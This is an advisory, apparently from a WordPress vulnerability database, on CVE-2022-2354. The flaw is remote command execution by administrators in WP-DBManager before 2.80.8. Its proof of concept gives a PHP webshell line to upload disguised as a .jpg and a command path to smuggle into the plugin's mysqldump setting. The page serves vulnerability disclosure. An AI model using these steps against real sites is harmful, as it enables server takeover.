WP-DBManager < 2.80.8 – Admin+ Remote Command Execution | CVE 2022-2354 | Plugin Vulnerabilities

Description

The plugin does not prevent administrators from running arbitrary commands on the server in multisite installations, where only super-administrators should.

Proof of Concept

# Use any WordPress plugin that allows the users to upload files with extension - ".php" is not required -  for example: .jpg (usually many plugins allows such extensions)
# Upload your malicious file, for example: test_rce.jpg with the following content:

<?php system("COMMAND"); ?>

# Go to "DB Options" under WP-DBManager plugin
# Define the below payload as "Path To mysqldump" parameter's value:

/usr/bin/php /var/www/blog/test_rce.jpg

# Go to "Backup DB" and click on "Backup" button
# Command will get executed without any issues

Affects Plugins

Fixed in 2.80.8

References

CVE

Classification

Type

RCE

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter

Verified

Yes

WPVDB ID

1c8c5861-ce87-4813-9e26-470d63c1903a

Timeline

Publicly Published

2022-07-25 (about 3 years ago)

Added

2022-07-25 (about 3 years ago)

Last Updated

2022-08-25 (about 3 years ago)

Other

Published

Title

Published

2024-12-05

Title

ARMember – Membership Plugin, Content Restriction, Member Levels, User Profile & User signup < 4.0.52 - Authenticated (Subscriber+) Arbitrary Shortcode Execution

Published

2024-05-03

Title

WordPress Meta Data and Taxonomies Filter (MDTF) < 1.3.3.3 - Unauthenticated Arbitrary Shortcode Execution

Published

2025-12-11

Title

WPMasterToolKit (WPMTK) < 2.13.1 - Authenticated (Contributor+) Code Injection

Published

2014-08-01

Title

Kernel Theme - functions/upload-h&ler.php File Upload Remote Code Execution

Published

2025-04-23

Title

Verification SMS with TargetSMS <= 1.5 - Unauthenticated Limited Remote Code Execution